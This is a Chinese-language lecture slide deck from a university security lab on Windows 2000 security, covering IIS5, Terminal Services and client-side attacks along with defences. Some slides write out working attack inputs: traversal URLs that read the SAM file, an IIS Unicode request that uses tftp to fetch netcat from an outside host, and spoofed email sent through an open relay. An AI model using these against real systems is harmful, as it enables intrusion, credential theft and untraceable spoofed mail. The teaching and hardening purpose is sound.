1.14k likes | 1.34k Views
Win2k 系统安全 (2). 胡建斌 北京大学网络与信息安全研究室 E-mail: hjbin@infosec.pku.edu.cn http://infosec.pku.edu.cn/~hjbin. 目 录 IIS5 的安全 终端服务器安全 Microsoft Internet 客户端的安全 物理攻击 拒绝服务攻击 安全功能和工具. IIS5 的安全. IIS5 基础-基本 HTTP. HTTP :基于文本的无状态文件传输协议 http://infosec.pku.edu.cn/files/index.html
E N D
Win2k系统安全(2) 胡建斌 北京大学网络与信息安全研究室 E-mail: hjbin@infosec.pku.edu.cn http://infosec.pku.edu.cn/~hjbin
目 录 • IIS5的安全 • 终端服务器安全 • Microsoft Internet 客户端的安全 • 物理攻击 • 拒绝服务攻击 • 安全功能和工具
IIS5基础-基本HTTP • HTTP:基于文本的无状态文件传输协议 http://infosec.pku.edu.cn/files/index.html • 虚拟目录:files 映射到该系统磁盘的一个实际目录上,如c:\inetpub\wwwroot\files\ • 对于服务器而言则形成如下的请求: GET /files/index.html HTTP/1.0 • 若该文件存在,则服务器会向客户端推送该文件并在客户端的浏览器上显示;否则会有各种错误代码
IIS5基础-CGI • CGI:Common Gateway Interface,运行在服务器上的应用程序,能针对每个请求生成动态的内容,扩展了Web功能 • 调用CGI http://infosec.pku.edu.cn/scripts/cgi.exe?var1+var2 • Windows中几乎所有的可执行程序都可以作为服务器端的CGI应用程序来执行 • 其中cmd.exe经常被作为寻找的目标
IIS5基础-ASP和ISAPI • ASP:Active Server Pages • ISAPI: Interface Server Application Programming Interface • 调用ASP http://infosec.pku.edu.cn/scripts/script.asp?var1=x&var2=y • 调用ISAPI http://infosec.pku.edu.cn/isapi.dll? var1&var2
HTTP攻击伎俩 • 使用../进行文件系统遍历 • URL的十六进制编码
使用 ../ 进行文件系统遍历 • http://infosec.pku.edu.cn/../../../../winnt/secret.txt • 通常是在目录上设置不当的NTFS访问控制列表所导致的 • http://infosec.pku.edu.cn/../../../../winnt/repair/sam
URL的十六进制编码 Http允许URL中使用十六进制编码形式输入字符串
利用URL的十六进制编码攻击 • http://infosec.pku.edu.cn/../../winnt/repair/sam • http://infosec.pku.edu.cn %2F %2E %2E %2F %2E %2E %2F winnt/repair/sam • 能避免入侵检测系统的检测,或可以导致应用程序错误处理输入
IIS5缓冲区溢出 • IPP缓冲区溢出 • 索引服务ISAPI扩展缓冲区溢出 • Code Red蠕虫 • ida/idq缓冲区溢出 • FrontPage 2000服务器扩展缓冲区溢出
安全对策 • 在系统驱动器之外的驱动器上安装Web文件夹 • Web服务器所在的卷应使用NTFS并谨慎设置ACL • 移动、删除或改名可能被利用的可执行文件:cacls,xcacls • 在服务器的Write和Execute ACL中删除Everyone和Users Group • 掌握对日志中攻击标志的分析
将文件写入Web服务器 • 如在目标机上建立tftp服务器,然后上载文件: GET /scripts/..%c0%af../winnt/system32/tftp.exe? “-i”+192.168.234.31+GET+nc.exe c:\nc.exe HTTP/1.0 将netcat写入到C:\,因为默认情况下所有用户对C:\具有写权限 • 如将目标机器上cmd.exe改名为cmdl.exe GET /scripts/..%c0%af../winnt/system32/cmd.exe?+copy+ c:\winnt\system32\cmd.exe+c:\cmdl.exe HTTP/1.0 • 其它自动上载工具:如unicodeloader等
通过IIS5提升权限 • 通过InProcesslsapiApps利用RevertToSelf • 安装MS01-026补丁可以解决
源代码泄漏攻击 起因 • IIS中的程序缺陷 • 低劣的Web编程技术 常见的漏洞 • +.htr(ism.dll) • Webhits(webhits.dll) • Translate: f (WebDAV, httpext.dll) • WebDAV目录列表(httpext.dll)
Web服务器安全评估工具 • Stealth HTTP Scanner • SSLProxy http://www.obdev.at/Products • Achilles http://www.digizen-security.com/projects.html • Wfetch http://support.microsoft.com/support/kb/articles/Q284/2/85.sap • Whisker
Web服务器安全忠告 • 在路由器、防火墙或其它位于Web服务器周边位置的设备上应用网路级的访问控制 • 在主机级,阻塞Web服务器上所有不必要的流入和流出连接 • 随时安装热修复:http://www.microsoft.com/technet/security • 删除不必要的脚本映射和不使用的ISAPI应用程序DLL • 禁用不必要的服务 • 在应用Web服务之前,强烈推荐使用Security Template来对其进行配置
Web服务器安全忠告 • 在系统卷之外建立一个独立的卷来存放Web根目录 • Web服务器所在的卷应使用NTFS文件系统,明确的设置ACL • 删除Everyone、Users和其它非特权组所在目录上的写文件和执行文件权限 • 不要将私有数据保存在ASP文件或包含有文件中 • 停止Administration Web站点,删除IISAdmin和IISHelp虚拟目录以及它们对应的真实目录
目 录 • IIS5的安全 • 终端服务器安全 • Microsoft Internet 客户端的安全 • 物理攻击 • 拒绝服务攻击 • 安全功能和工具
TS • Windows 2000提供了交互式的图形化远程shell,称为终端服务(Terminal Service,TS),适用于远程管理或应用程序共享 • 引用www.microsoft.com的说法,“Windows 2000终端服务使你能够从各种设备上,通过几乎任何类型的网络连接远程的基于Windows 2000的服务器,并在其上远程执行应用程序”
TS • TS紧密集成在操作系统内部,免费提供远程管理模式(最多有两个同时连接的会语以及一个控制台) • TS 可以在你和服务器之间提供不同的认证和加密方法。对Windows 2000来说,终端服务器正在逐渐成为与UNIX世界中的SSH一样重要的图形化产品
TS的代价 在本节中,我们将从安全的角度来考查TS的基本功能、如何识别和枚举TS、解决不合理的TS实现的问题、已知的针对TS的攻击,以及在网络环境中保护和管理TS的基本知识
TS组件 • 服务器 • 远程桌面协议(Remote Desktop Protocol,RDP) • 客户端
TS服务器 • TS集成在所有Windows 2000服务器中,通过控制面板中的Windows组件功能可以很容易地启用和禁用 • 在以管理模式安装时,服务器是标准的组件;当作为远程应用程序服务器时,它需要额外的授权费用和架构 • 服务器的默认监听端口为TCP 3389 (稍后将会介绍自行指定端口是很容易的)
远程桌面协议(RDP) • 在客户端和服务器之间的数据传输是通过Microsoft的基于TCP的远程桌面协议(RDP-5)进行的 • RDP提供了三层加密以确保点对点数据传输的安全性:40、56或128位RC4 • 与Windows NT版本的RDP-4相比,Windows 2000提供了更多的基本功能,可以在大多数的网络环境中高效的使用
客户端 • 通过MS安装程序(MSI)软件包安装的独立的16位或32位可执行文件 • 终端服务高级客户端(Terminal Services Advanced Alient,TSAC),基于Win32的ActiveX控件,可以在Web页面中使用 • MMC管理单元 尽管它们互相之间存在明显的区别,但各种不同的客户端都用完全相同的方法来实现RDP。因此,尽管它们看起来似乎不一样,但所有的TS客户端在与服务器进行对话时都以完全相同的方式进行操作
修改TS监听端口-服务器端 • 通过修改下面的注册表键值,TS的默认端口可以重新指定 \HKLM\System\CurrentControlSet\Control\ Terminal Server \WinStations\RDP-Tcp键值:PortNumber REG_DWORD=3389
修改TS监听端口-客户端 • 第一步是在TS客户端连接管理器中与目标主机建立连接 • 一旦创建了一个连接之后,选定该连接并从File菜单中选择Export,将全部配置设置保存到以一个CNS为扩展名的文本文件中去 • 使用文本编辑器打开这个文件,将Server Port修改为在服务器上指定端口,如下例所示(自定义连接端口为7777)
修改TS监听端口-客户端 [CorpTermServ] WinPosStr=0,2,0,0,941,639 Expand=1 Smooth Scrolling=0 Shadow Bitmap Enabled=1 Dedicated Terminal=0 Server Port=7777 Enable Mouse=1 [etc.]
识别和查找TS • 3389端口扫描 • TSProbe • TSEnum
攻击TS • 密码猜测攻击 • 用户权限提升 • 畸形RDP拒绝服务攻击
密码猜测攻击-TSGrinder.exe • TS登录等价于真正的交互式登录,因此对真正的Administrator账户是不能设置锁定阈值的。这意味着在启用了TS服务的情况下,对密码猜测攻击来说,本地Administrator账户是一个最易受攻击的目标 • Tim Mullen开发了TSGrinder的工具,它能够通过TS对本地Administrator账户进行字典攻击
密码猜测攻击-TSGrinder.exe • TSGrinder使用TS的ActiveX控件来进行攻击。尽管这个ActiveX控件经过特殊的设计可以拒绝对密码方法的脚本访问,但通过C++中的vtable绑定仍然可以访问ImsTscNonScriptable接口方法。这允许为该控件编写自定义的接口,于是攻击者就可以对Administrator账户进行密码猜测,直至猜测出密码 • www.hammerofgod.com上提供下载
密码猜测攻击的防御 • 推荐将本地Administrator账户改名 • 防御TS密码猜测攻击的另一种有趣的方法是为Windows登录窗口制作一个自定义的法律声明,通过添加或编辑如下的注册表键值就可以实现: HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\WinLogon
用户权限提升 • 推荐实现Windows 2000 Resource Kit中的一些关键功能 • 其中最重要的是,“Appsec”可以使管理员能够限制用户只能运行特定的应用程序 • 这能够减小攻击者在获取本地用户访问之后进行权限提升攻击的危险
IME远程Root获取 • 输入法编辑器(Input Method Editor,IME)漏洞,这个漏洞导致可以不用提供任何凭据就能通过TS的认证 • IME用来将标准的101键键盘映射到某种语言中的大量可用字符,例如日语、中文和韩国语都需要IME。虽然IME通常在本地用户的上下文中进行正常操作,但登录时,IME却在SYSTEM上下文中运行。这使得通过远程服务器的登录屏幕运行精心设计的命令成为可能
IME对策 • 只有简体中文版系统或在初始安装过程中安装了简体中文IME的系统才会有这个漏洞 • Microsoft发布的公告MS00-069和补丁能够为所有受影响的版本解决这个问题
畸形RDP拒绝服务 • 2001年1月,Yoichi Ubukata和Yoshihiro Kawabata发现了RDP中的一个漏洞,这个漏洞可能导致拒绝服务的情况出现。如果攻击者发送一种畸形的报文,它将使RDP瘫痪。这种攻击会导致当前正在进行的全部工作丢失,并且需要重新启动系统才能恢复服务 • Microsoft发布了一个补丁(MS01-006),通过修改终端服务器服务使它正确地处理数据,从而消除这个漏洞
目 录 • IIS5的安全 • 终端服务器安全 • Microsoft Internet 客户端的安全 • 物理攻击 • 拒绝服务攻击 • 安全功能和工具
攻击类型 • 缓冲区溢出,可被用来执行任意的代码而无需与用户进行任何交互 • 通过欺骗、强制或暗中执行命令,使用户运行由攻击者预先选择的可执行内容。这种方法有以下一些变化: ■巧妙伪装的、看起来无害的电子邮件附件 ■ 嵌入在HTML Web页面或电子邮件中的可执行内容 ■ 活动内容技术的漏洞导致非法代码的执行 ■ ActiveX控件,尤其是那些标记有“可以在脚本中安全使用”的控件 ■Java虚拟机的程序缺陷(Brown Orifice)
攻击类型 • 访问脚本/自动化接口,例如Outlook地址簿蠕虫 • 写本地文件,通常是在可执行的目录中;经常通过临时目录或缓存位置的不适当泄露发生。一旦在本地写入文件,它就可以执行并运行在本地计算机安全区域的上下文中,从而是完全受到信任的 • 读取本地文件,例如通过HTML跨帧导航问题或使用IFRAME。这种技术的一个常见结果是从Web浏览器的cookie中获取用户的密码数据 • 调用客户端出站连接
恶意Web页面 • 客户端的一种最常见形式是在Internet上部署恶意的Web服务器,存放经过精心设计的内容,用来诱骗用户的数据 • 这种方法的有效性取决于提高恶意Web站点/页面的访问量,这通常是通过电子邮件或新闻组/列表文章来进行的
恶意E-mail • 由于HTML功能的多样性(嵌入小程序或控件、活动脚本、跨帧浏览、内联帧、cookie解析等等),HTML电子邮件成为理想的攻击媒介 • 由于接收端的漏洞导致这样的问题,Microsoft虽然备受指责,然而通过Outlook或Outlook Express(OE)这样的程序发送恶意编写的HTML却十分困难。这些图形化的电子邮件客户端不允许对邮件消息的内容进行直接的操作,而为实现攻击目的却需要这样做 • 如果要在Windows上模拟这种命令行功能,可以通过命令行提示符直接向简单邮件传输协议(Simple Mail Transfer Protocol,SMTP)服务器手动发送消息。最佳的办法是将适当的SMTP命令和数据写入到一个文本文件中,然后通过管道输入给netcat
Email Hacking • 首先,将所需的SMTP命令和消息数据写入到一个文件中 helo somedomain.com mail from: <mallory@malweary.com> rcpt to: <hapless@victim.net> data subject: Read this! Importance: high MIME-Version: 1.0 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit <HTML> <h2>Hello World!</h2> </HTML> . quit
Email Hacking • 然后在命令行中将这个文件通过管道传递给netcat,而netcat则应该指向适当的邮件服务器的SMTP监听端口25,例如: C:\>type malicious.txt | nc -vv mail.openrelay.net 25
Email Hacking • 恶意的攻击者通常会选择一些提供无限制的SMTP消息中继的不引人注意的邮件服务器,而且会尽可能隐藏他们自己的源IP地址,这样就不可能通过邮件服务器的日志来追查到他们 • 这样的“开放式SMTP中继”通常被垃圾邮件所利用,在Usenet的讨论或http://mail-abuse.org上经常可以找到这样的服务器
Email Hacking • 如果希望随HTML格式的消息发送一个附件,则必须向消息中添加另一个MIME部分,根据MIME规范(RFC 2045-49)用Base64格式对附件进行编码 • 用以自动完成这项工作的最佳工具是John G. Myers的mpack。mpack能够自动添加正确的MIME头,这样它的输出就可以直接发送给SMTP服务器 • 下面的例子使用mpack对一个名为plant.txt的文件进行编码,输出到文件plant.mim中。可选的-s参数用以指定消息的主题行 C:\>mpack -s Nasty-gram -o plant.mim plant.txt